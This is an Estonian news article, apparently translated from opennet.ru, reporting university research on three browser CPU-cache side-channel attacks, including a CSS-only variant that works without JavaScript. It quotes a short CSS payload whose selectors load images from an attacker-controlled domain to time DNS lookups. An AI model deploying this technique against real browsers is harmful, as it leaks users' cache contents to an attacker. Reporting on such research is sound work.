CPU vahemälu ekstraheerimise rünnak, mis on rakendatud veebibrauseris ilma JavaScriptita

Mitmete Ameerika, Iisraeli ja Austraalia ülikoolide teadlaste meeskond on välja töötanud kolm rünnakut, mis töötavad veebibrauseritel, et hankida teavet protsessori vahemälu sisu kohta. Üks meetod töötab brauserites, kus puudub JavaScript, ja teised kaks lähevad mööda olemasolevatest kaitsemeetoditest külgkanalite rünnakute eest, sealhulgas Tori brauseris ja DeterFoxis kasutatavatest. Rünnakute demonstreerimise kood ja rünneteks vajalikud serverikomponendid avaldatakse GitHubis.

Vahemälu sisu analüüsimiseks kasutavad kõik rünnakud Prime+Probe meetodit, mis hõlmab vahemälu täitmist standardsete väärtuste komplektiga ja muudatuste tuvastamist, mõõtes nende täitmisel neile juurdepääsu aega. Brauserites esinevatest turvamehhanismidest, mis segavad täpset ajamõõtmist, möödahiilimiseks esitatakse kahe võimaluse korral apellatsioon ründaja juhitavale DNS- või WebSocket-serverile, mis peab päringute saabumise aja logi. Ühes teostuses kasutatakse ajaviitena fikseeritud DNS-i reaktsiooniaega.

Väliste DNS- või WebSocket-serverite abil tehtud mõõtmised, kasutades masinõppel põhinevat klassifitseerimissüsteemi, olid piisavad, et ennustada väärtusi 98% täpsusega kõige optimaalsema stsenaariumi korral (keskmiselt 80-90%). Ründemeetodeid on testitud erinevatel riistvaraplatvormidel (Intel, AMD Ryzen, Apple M1, Samsung Exynos) ja need on osutunud universaalseks.

CPU vahemälu ekstraheerimise rünnak, mis on rakendatud veebibrauseris ilma JavaScriptita

DNS Racing rünnaku esimene variant kasutab Prime+Probe meetodi klassikalist teostust JavaScripti massiive kasutades. Erinevused taanduvad välise DNS-põhise taimeri ja veakäsitleja kasutamisele, mis käivitub, kui proovitakse laadida pilti olematust domeenist. Väline taimer võimaldab Prime+Probe'i rünnakut brauserite vastu, mis piiravad või keelavad täielikult juurdepääsu JavaScripti taimeritele.

Samas Etherneti võrgus asuva DNS-serveri puhul on taimeri täpsus hinnanguliselt umbes 2 ms, mis on piisav külgkanali rünnaku läbiviimiseks (võrdluseks Tor-brauseris on standardse JavaScript-taimeri täpsus vähendatud 100 ms-ni). Rünnaku jaoks pole DNS-serveri juhtimine vajalik, kuna toimingu sooritamise aeg valitakse nii, et DNS-i reageerimisaeg on märgiks kontrolli varasemast lõpuleviimisest (olenevalt sellest, kas veakäsitleja käivitati varem või hiljem tehakse järeldus vahemäluga kontrollimise kiiruse kohta) .

Teise ründemeetodi, "String and Sock" eesmärk on mööda minna turvatehnikatest, mis piiravad JavaScripti massiivide madalal tasemel kasutamist. Massiivide asemel kasutab String ja Sock operatsioone väga suurte stringidega, mille suurus valitakse nii, et muutuja kataks kogu LLC vahemälu (Last level cache). Järgmiseks otsitakse funktsiooni indexOf() abil stringist väike alamstring, mis lähtestringis esialgu puudub, s.t. otsingutoimingu tulemuseks on iteratsioon kogu stringi ulatuses. Kuna rea ​​suurus vastab LLC vahemälu suurusele, võimaldab skannimine teha vahemälu kontrollimise toimingut ilma massiive manipuleerimata. Viivituste mõõtmiseks helistatakse DNS-i asemel ründaja kontrollitavasse WebSocket serverisse – enne ja pärast otsinguoperatsiooni lõppu saadetakse real päringud, mille alusel server arvutab välja vahemälu analüüsimiseks kulunud viivituse. sisu.

Rünnaku “CSS PP0” kolmas variant rakendatakse HTML-i ja CSS-i kaudu ning see võib töötada brauserites, kus JavaScript on keelatud. Meetod sarnaneb "String and Sock"-ga, kuid ei ole seotud JavaScriptiga. Rünnaku ajal luuakse CSS-i valijate komplekt, mis otsivad maski järgi. Esialgne suur string, mis täidab vahemälu, määratakse väga suure klassinimega div sildi loomisega. Sees on komplekt teisi dive, millel on oma identifikaatorid. Igal neist pesastatud dividest on oma stiil valijaga, mis otsib alamstringi. Lehe renderdamisel proovib brauser esmalt töödelda sisemisi dive, mille tulemuseks on otsinguoperatsioon suurel real. Otsing teostatakse tahtlikult puuduva maski abil ja see viib iteratsioonini kogu rea ulatuses, mille järel käivitatakse tingimus "ei ole" ja proovitakse laadida juhuslikele domeenidele viitav taustpilt: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Alamdomeene teenindab ründaja DNS-server, mis suudab mõõta päringute vastuvõtmise viivitusi. DNS-server väljastab kõigi päringute jaoks NXDOMAIN ja peab päringute täpse aja logi. Divide komplekti töötlemise tulemusena saab ründaja DNS-server rea päringuid, mille vahelised viivitused on korrelatsioonis vahemälu sisu kontrollimise tulemusega.

CPU vahemälu ekstraheerimise rünnak, mis on rakendatud veebibrauseris ilma JavaScriptita


Allikas: opennet.ru

Lisa kommentaar